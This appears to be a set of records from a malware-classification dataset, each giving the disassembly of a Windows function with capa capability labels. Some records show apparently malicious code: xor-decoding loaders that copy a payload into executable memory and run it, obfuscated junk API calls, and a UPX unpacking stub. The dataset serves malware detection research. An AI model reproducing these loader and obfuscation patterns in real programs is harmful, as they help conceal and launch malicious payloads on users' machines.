joyce8/EMBER2024-capa huggingface dataset:
Function at 0x431840
Capabilities:
Get geographical location

Disassembly:
sub esp, 0x808
mov eax, dword [0x435004]
xor eax, esp
mov dword [esp + 0x804], eax
mov eax, dword [0x4382a4]
imul eax, eax, 0x343fd
cmp dword [0x22dae8c], 0x139e
mov dword [0x4382a4], eax
jne 0x431893
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTapePosition]
mov eax, dword [esp]
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_GetAce]
mov eax, dword [0x4382a4]
add eax, 0x269ec3
push esi
mov dword [0x4382a4], eax
movzx esi, word [0x4382a6]
and esi, 0x7fff
cmp dword [0x22dae8c], 0x8e7
jne 0x4318c8
push 0
lea ecx, [esp + 0xc]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ecx, dword [esp + 0x808]
mov eax, esi
pop esi
xor ecx, esp
call fcn.00401000
add esp, 0x808
ret

Function at 0x431950
Capabilities:
Create pipe

Disassembly:
sub esp, 0x24
mov eax, dword [0x435004]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [0x4361f0]
push ebx
mov ebx, dword [0x22da830]
push edi
mov edi, dword [0x22dae8c]
call fcn.004318e0
cmp dword [0x22dae8c], 0x2f
jne 0x4319b5
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
call fcn.00431910
mov ecx, dword [esp + 0x24]
pop edi
pop ebx
xor ecx, esp
call fcn.00401000
add esp, 0x24
ret
Function at 0x431d00
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1818
call fcn.00409150
mov eax, dword [0x435004]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
jmp 0x431d29
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xbbe2aa2
jge 0x431dd1
cmp dword [0x22dae8c], 0xa5f
jne 0x431d75
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
push 0
lea ecx, [ebp - 0x818]
push ecx
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
lea edx, [ebp - 0x1018]
push edx
push str.keminivefayosexerukugufebaponif
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
cmp dword [ebp - 4], 0x84526b
jne 0x431d9a
mov eax, dword [0x437010]
mov dword [0x22dae8c], eax
mov ecx, dword [0x22dae8c]
add ecx, 0xa231
mov dword [0x22dae8c], ecx
cmp dword [0x22dae8c], 0x141
jne 0x431dcc
push str.renej_luwoyisawopab_dadabayegutenecisufoba_wozonotuwugewiropoxu_vogiwipeladoxakanahotucucuwi
lea edx, [ebp - 0x1818]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [0x4382a8], 0xec58acac
mov dword [0x4382ac], 0xffffffff
jmp 0x431d20
call fcn.004319d0
jmp dword [0x22da830]
Function at 0x430a67ba
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x430aa9f0]
jne 0x430a67c4
repz ret
jmp fcn.430a7df9
Function at 0x41bfe1
Capabilities:
Hide graphical window

Disassembly:
sub esp, 0x30
mov eax, dword [0x449020]
xor eax, esp
mov dword [esp + 0x2c], eax
push ebx
mov ebx, dword [esp + 0x3c]
push ebp
push esi
mov esi, dword [esp + 0x40]
mov ebp, ecx
push edi
mov edi, dword [esp + 0x4c]
push 0
push ebx
mov dword [esp + 0x18], ebx
mov dword [ebp + 8], ebx
mov byte [ebp + 0x42], 0
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
mov ecx, ebp
call fcn.0041c14d
cmp dword [ebp + 0x20], 0
je 0x41c02c
push dword [ebp + 0x20]
call fcn.0042c3ae
pop ecx
test edi, edi
jne 0x41c034
xor eax, eax
jmp 0x41c03b
push edi
call fcn.0042ceb4
pop ecx
and dword [ebp + 0x24], 0
mov dword [ebp + 0x20], eax
lea eax, [esp + 0x14]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowRect]
push 2
lea eax, [esp + 0x18]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetParent]
push eax
push 0
call dword [sym.imp.USER32.dll_MapWindowPoints]
cmp dword [ebp + 4], 0
je 0x41c074
push dword [ebp + 4]
call dword [sym.imp.USER32.dll_DestroyWindow]
mov eax, dword [esp + 0x14]
mov edi, dword [esp + 0x1c]
push dword [esp + 0x10]
mov esi, dword [ebp]
sub edi, eax
lea ebx, [eax + 1]
sub edi, 2
call dword [sym.imp.USER32.dll_GetParent]
push ebp
push esi
xor esi, esi
push esi
push eax
mov eax, dword [esp + 0x30]
sub eax, dword [esp + 0x28]
push eax
push edi
push dword [esp + 0x30]
push ebx
push 0x40000000
push esi
push str.RarHtmlClassName
push esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
cmp byte [ebp + 0x1c], 0
mov dword [ebp + 4], eax
jne 0x41c104
cmp dword [ebp + 0x10], esi
jne 0x41c104
mov ebx, dword [esp + 0x10]
test ebx, ebx
je 0x41c11a
cmp dword [ebp + 0x24], esi
jne 0x41c11a
cmp dword [ebp + 0x20], esi
je 0x41c11a
push dword [ebp + 0x20]
lea eax, [esp + 0x28]
push eax
call fcn.0041c638
push 5
push ebx
call dword [sym.imp.USER32.dll_ShowWindow]
lea edx, [esp + 0x24]
mov ecx, ebx
call fcn.004022aa
lea ecx, [esp + 0x24]
call fcn.00401e5c
jmp 0x41c11a
test eax, eax
je 0x41c11a
push 5
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebp + 4]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00423125
add esp, 0x30
ret 0x14
Function at 0x41d3fa
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 0x4435f8
push ecx
push dword [0x44a7d0]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x41d507
push esi
push dword [0x44a7d0]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
test ebx, ebx
je 0x41d507
push esi
push dword [0x44a7d0]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x41d507
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x41d507
and dword [ebp - 8], 0
push edi
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
test edi, edi
je 0x41d501
push edi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x41d4fa
push ebx
push esi
push eax
call fcn.00424810
and dword [ebp - 4], 0
lea eax, [ebp - 4]
add esp, 0xc
push eax
push 0
push edi
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
jne 0x41d4f3
mov ecx, dword [ebp - 4]
call fcn.0041da41
mov ecx, dword [ebp - 4]
mov ebx, eax
push ecx
mov edx, dword [ecx]
mov esi, dword [edx + 8]
mov ecx, esi
call dword [0x43c270]
call esi
test ebx, ebx
je 0x41d4f3
mov ecx, ebx
call fcn.0041d920
test eax, eax
jne 0x41d4e1
push ecx
lea ecx, [ebp - 0xc]
call fcn.0041d8ef
lea eax, [ebp - 8]
push eax
mov eax, ecx
mov ecx, ebx
push eax
call fcn.0041d8fa
mov eax, dword [ebx]
push 1
mov esi, dword [eax]
mov ecx, esi
call dword [0x43c270]
mov ecx, ebx
call esi
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 8]
pop edi
jmp 0x41d509
xor eax, eax
pop esi
pop ebx
leave
ret

Function at 0x41d815
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x449020]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x40
lea eax, [ebp - 0x48]
push 0
push eax
call fcn.00424d90
add esp, 0xc
mov dword [ebp - 0x48], 0x40
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
shrd eax, ecx, 0x1e
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00423125
leave
ret
Function at 0x41df4b
Capabilities:
Create directory

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x8c
mov eax, dword [0x449020]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
lea ecx, [ebp + 0x1c]
call fcn.0041dec1
test al, al
je 0x41e008
push ebx
push edi
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x14], 0x11060000
xor edi, edi
mov dword [ebp + 8], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 8], edi
push eax
push edi
lea eax, [ebp - 0x14]
mov dword [ebp - 4], edi
xor ebx, ebx
mov dword [ebp + 4], edi
inc ebx
mov dword [ebp - 0xc], 3
push eax
push ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp], edi
mov dword [ebp + 0x18], edi
call dword [sym.imp.ADVAPI32.dll_SetEntriesInAclW]
test eax, eax
jne 0x41e006
push ebx
lea eax, [ebp + 0x60]
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
test eax, eax
je 0x41dff8
push edi
push dword [ebp + 0x18]
lea eax, [ebp + 0x60]
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
test eax, eax
je 0x41dff8
lea eax, [ebp + 0x60]
mov dword [ebp + 0xc], 0xc
mov dword [ebp + 0x10], eax
mov ecx, esi
lea eax, [ebp + 0xc]
mov dword [ebp + 0x14], edi
push eax
call fcn.0040126f
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
cmp dword [ebp + 0x18], edi
je 0x41e006
push dword [ebp + 0x18]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop ebx
mov ecx, dword [ebp + 0x74]
xor ecx, ebp
pop esi
call fcn.00423125
add ebp, 0x78
leave
ret

Function at 0x41e018
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x20
mov eax, 0x43aaae
call fcn.00438af3
mov esi, ecx
lea eax, [ebp - 0x14]
xor ebx, ebx
push eax
push 1
push ebx
mov ecx, edx
call fcn.0040126f
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41e108
mov ecx, dword [ebp + 8]
call fcn.0040126f
lea ecx, [ebp - 0x18]
push ecx
push ebx
push ebx
push ebx
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x41e0fb
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp + 0x10]
shr edx, 1
call fcn.00401891
cmp eax, edx
jbe 0x41e07f
call fcn.00401891
mov edx, eax
inc edx
mov eax, 0x10000
cmp edx, eax
jb 0x41e08b
mov edx, eax
push ecx
push edx
lea ecx, [ebp - 0x2c]
call fcn.00401a88
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], ebx
call fcn.00401895
add eax, eax
mov dword [ebp - 0x1c], eax
call fcn.0040188a
mov ecx, dword [ebp + 8]
mov edx, eax
call fcn.0040126f
lea ecx, [ebp - 0x1c]
push ecx
push edx
lea ecx, [ebp - 0x20]
push ecx
push ebx
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x41e0ef
mov word [ebp - 0xe], ax
lea ecx, [ebp - 0x2c]
lea eax, [ebp - 0xe]
push eax
call fcn.00421e48
lea ecx, [ebp - 0x2c]
call fcn.0040188a
mov ecx, dword [ebp + 0xc]
push eax
call fcn.00401279
mov bl, 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.0040189d
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test bl, bl
jne 0x41e113
push dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
call fcn.0040335d
mov al, bl
call fcn.00438ac1
ret 0xc
Function at 0x41e173
Capabilities:
Hide graphical window

Disassembly:
sub esp, 0x60
mov eax, dword [0x449020]
xor eax, esp
mov dword [esp + 0x5c], eax
push ebx
push ebp
push esi
push edi
mov edi, edx
mov bl, cl
call fcn.0041dbad
push 0x68
push dword [0x44a7f4]
call dword [sym.imp.USER32.dll_GetDlgItem]
cmp byte [0x44a7ee], 0
mov esi, eax
mov ebp, 0xc2
jne 0x41e1e0
call fcn.0041c12f
push 5
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xffffffffffffffff
push 0
push 0xb1
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
push 0x4422dc
push 0
push ebp
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
mov byte [0x44a7ee], 1
mov eax, 0x5f5e100
push eax
push eax
push 0xb1
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x5c
push eax
push 0
push 0x43a
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
xor ecx, ecx
mov byte [esp + 0x29], 0
inc ecx
mov dword [esp + 0x14], ecx
test bl, bl
je 0x41e23d
mov eax, dword [esp + 0x18]
and eax, 0xbfffffff
mov dword [esp + 0x24], 0xa0
or eax, ecx
mov dword [esp + 0x14], 0x40000001
mov dword [esp + 0x18], eax
lea eax, [esp + 0x10]
push eax
push ecx
push 0x444
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, edi
call fcn.0040126f
push eax
push 0
push ebp
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, 0x5f5e100
push eax
push eax
push 0xb1
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
test bl, bl
je 0x41e29b
mov eax, dword [esp + 0x18]
and eax, 0xfffffffe
or eax, 0x40000000
mov dword [esp + 0x18], eax
lea eax, [esp + 0x10]
push eax
push 1
push 0x444
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
push 0x442620
push 0
push ebp
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [esp + 0x6c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00423125
add esp, 0x60
ret
Function at 0x438a90
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x438abd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x438abd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x401b66
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410004]
jne 0x401b70
repz ret
jmp fcn.0040324d

Function at 0x40500d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x40501c
pop dword [ebp - 0x20]
mov eax, 0x9b15fc53
sub eax, 0x9ad5ac37
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x34cf16bc
add dword [ebp - 0x30], 0x19832e8f
mov dword [ebp - 0x2c], 0x2ce7a00
add dword [ebp - 0x2c], 0x2f64d245
mov dword [ebp - 0x28], 0x5e39ae32
sub dword [ebp - 0x28], 0x11ed6a04
mov dword [ebp - 0x24], 0x8cfd4afa
add dword [ebp - 0x24], 0x7302b506
lea eax, [ebp - 0x30]
push eax
mov eax, 0x9109453b
add eax, 0x6f378b11
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x9e48e6b4
add dword [ebp - 0x30], 0xd62982a2
mov dword [ebp - 0x2c], 0xef1aefa0
add dword [ebp - 0x2c], 0x525171d5
mov dword [ebp - 0x28], 0x6dc02947
sub dword [ebp - 0x28], 0xa50bcdb
mov dword [ebp - 0x24], 0xd28af421
add dword [ebp - 0x24], 0x2d750bdf
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xd983bdc2
add eax, 0x26bd1286
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3c410
push 0
call eax
mov ecx, 0x485931b6
sub ecx, 0x4858de9c
xor ebx, ebx
add ebx, eax
mov edi, 0x8efe03d1
add edi, 0x7143ac2f
add edi, dword [ebp - 0x20]
mov edx, 0xf8c57812
sub edx, 0x40055775
xor dword [ebp - 0x10], 0xf696646e
mov esi, dword [edi]
sub dword [ebp - 0xc], edx
xor esi, edx
xor dword [ebp - 0xc], ebx
mov dword [ebx], esi
xor dword [ebp - 0xc], ebx
add ebx, 0x98c25784
add ebx, 0x673da880
add edi, 0x84baa336
sub edi, 0x84baa332
loop 0x405140
add eax, 0x13f3b
mov ebx, eax
add eax, 5
mov ecx, 0x3fb41ca7
add ecx, 0xc08be359
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x40b120
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x9000]
push edi
or ebp, 0xffffffff
jmp 0x40b142
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40b149
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40b138
mov eax, 1
add ebx, ebx
jne 0x40b15b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40b150
jne 0x40b16c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40b150
xor ecx, ecx
sub eax, 3
jb 0x40b180
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40b1f2
mov ebp, eax
add ebx, ebx
jne 0x40b18b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40b198
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40b1bc
inc ecx
add ebx, ebx
jne 0x40b1a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40b19d
jne 0x40b1b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40b19d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40b1dc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40b1cd
jmp 0x40b13e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40b1dc
add edi, ecx
jmp 0x40b13e
pop esi
mov edi, esi
mov ecx, 1
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40b1fa
cmp byte [edi], 1
jne 0x40b1fa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x40b1ff
lea edi, [esi + 0x9000]
mov eax, dword [edi]
or eax, eax
je 0x40b277
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd8c4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd900]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40b22c
mov ecx, edi
jns 0x40b25b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd904]
or eax, eax
je 0x40b271
mov dword [ebx], eax
add ebx, 4
jmp 0x40b249
call dword [esi + 0xd908]
popal
jmp 0x401100
Function at 0x42a271
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x42a280
pop dword [ebp - 0x28]
mov eax, 0x42a280
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x52c8a
push 0
mov eax, 0x81b0c97a
add eax, 0x7e93e942
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x956c5b53
add ecx, 0x6a93f832
mov esi, eax
mov edi, 0xca73ed29
add edi, 0x35d490d7
add edi, dword [ebp - 0x28]
mov ebx, 0x19ed2bbf
add dword [ebp - 8], 0x9a175463
mov edx, dword [edi]
sub dword [ebp - 0xc], esi
xor edx, ebx
add dword [ebp - 0x20], 0xac179ba5
mov dword [esi], edx
add esi, 0xd70610f5
add esi, 0x28f9ef0f
add edi, 4
loop 0x42a2d4
add eax, 0x4146c80
sub eax, 0x4132b99
xor ebx, ebx
add ebx, eax
add eax, 0x1e881bc1
add eax, 0xe177e444
mov ecx, 0xf617835b
add ecx, 0xa287ca5
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x43fcae
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46b5d8
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x43fcf1
push str.SystemFunction040
push dword [0x46b5d8]
call edi
push str.SystemFunction041
push dword [0x46b5d8]
mov dword [0x46b5e0], eax
call edi
mov dword [0x46b5e4], eax
jmp 0x43fcf6
mov eax, dword [0x46b5e4]
cmp dword [0x46b5e0], 0
je 0x43fd07
test eax, eax
jne 0x43fdae
push 0x46b5dc
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x43fdb8
push str.CryptProtectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e0], 0
mov dword [0x46b5e8], eax
jne 0x43fd6c
test eax, eax
jne 0x43fd6c
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fd56
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fd5d
mov esi, 0x80004005
push esi
push 0x28
push str.cryputil.cpp
call fcn.00403821
jmp 0x43fdb8
push str.CryptUnprotectMemory
push dword [0x46b5dc]
call edi
cmp dword [0x46b5e4], 0
mov dword [0x46b5ec], eax
jne 0x43fdae
test eax, eax
jne 0x43fdae
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x43fda2
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x43fda9
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x43fd60
mov dword [0x46b5f0], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x4464b7
Capabilities:
Create http request
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
or dword [ebp - 0xc], 0xffffffff
xor eax, eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push eax
push dword [ebx]
mov dword [ebp - 8], eax
mov edi, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 8]
push eax
call main
mov esi, eax
test esi, esi
js 0x44661f
xor eax, eax
push eax
push eax
push eax
push eax
push str.Burn
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
test edi, edi
jne 0x446546
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x44652a
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x446531
mov esi, 0x80004005
push esi
push 0x84
push str.dlutil.cpp
call fcn.00403821
jmp 0x44661f
lea eax, [ebp - 4]
push eax
push 0x78
push str.DownloadTimeout
push str.WiXBurn
call main
mov eax, dword [ebp - 4]
test eax, eax
je 0x446592
mov esi, dword [sym.imp.WININET.dll_InternetSetOptionW]
imul eax, eax, 0x3e8
push 4
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
push 2
push edi
call esi
push 4
lea eax, [ebp - 4]
push eax
push 6
push edi
call esi
push 4
lea eax, [ebp - 4]
push eax
push 5
push edi
call esi
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 0x1c]
lea eax, [ebp - 8]
push dword [ebx + 8]
push dword [ebx + 4]
push eax
push edi
call main
mov esi, eax
test esi, esi
js 0x44661f
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0x14]
call main
push dword [ebp + 0x1c]
lea eax, [ebp - 8]
push dword [ebp + 0x18]
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 0x14]
push dword [ebx + 8]
push dword [ebx + 4]
push eax
push edi
call main
mov esi, eax
test esi, esi
js 0x446610
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x446610
xor ecx, ecx
cmp word [eax], cx
je 0x446610
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
cmp dword [ebp - 0xc], 0xffffffff
je 0x44661f
push dword [ebp - 0xc]
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x44662c
push eax
call main
test edi, edi
je 0x446637
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp - 8], 0
je 0x446645
push dword [ebp - 8]
call main
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18
Function at 0x401981
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x401990
pop dword [ebp - 0x28]
mov eax, 0x401990
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x4f984c49
sub dword [ebp - 0x38], 0x14606fe
mov dword [ebp - 0x34], 0x346e54c4
sub dword [ebp - 0x34], 0x23b087f
mov dword [ebp - 0x30], 0x446c0390
add dword [ebp - 0x30], 0x7e0409e
mov dword [ebp - 0x2c], 0xea569328
sub dword [ebp - 0x2c], 0xea569328
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x73b27f57
sub dword [ebp - 0x38], 0xff401601
mov dword [ebp - 0x34], 0x5b19c958
add dword [ebp - 0x34], 0xe652981d
mov dword [ebp - 0x30], 0x855e89b5
add dword [ebp - 0x30], 0xde10e2b7
mov dword [ebp - 0x2c], 0xb2c58355
sub dword [ebp - 0x2c], 0xb2c58355
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x37a69
push 0
call eax
mov ecx, 0x31bcae12
sub ecx, 0x31bc6da2
xor edi, edi
add edi, eax
mov ebx, 0x41b000
add ebx, dword [ebp - 0x28]
mov edx, 0xb2921735
sub edx, 0x5eb46a7b
sub dword [ebp - 0x1c], 0x35fd14fd
mov esi, dword [ebx]
xor esi, edx
sub dword [ebp - 0x24], ecx
mov dword [edi], esi
xor dword [ebp - 0x24], 0x417b0899
add edi, 0x2731adb1
sub edi, 0x2731adad
add ebx, 0x984410a0
add ebx, 0x67bbef64
loop 0x401a9f
add eax, 0xf493
mov ebx, eax
add eax, 0xb599bb9a
sub eax, 0xb599bb95
mov ecx, 0xdcbbc77e
sub ecx, 0xdc7bc77e
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53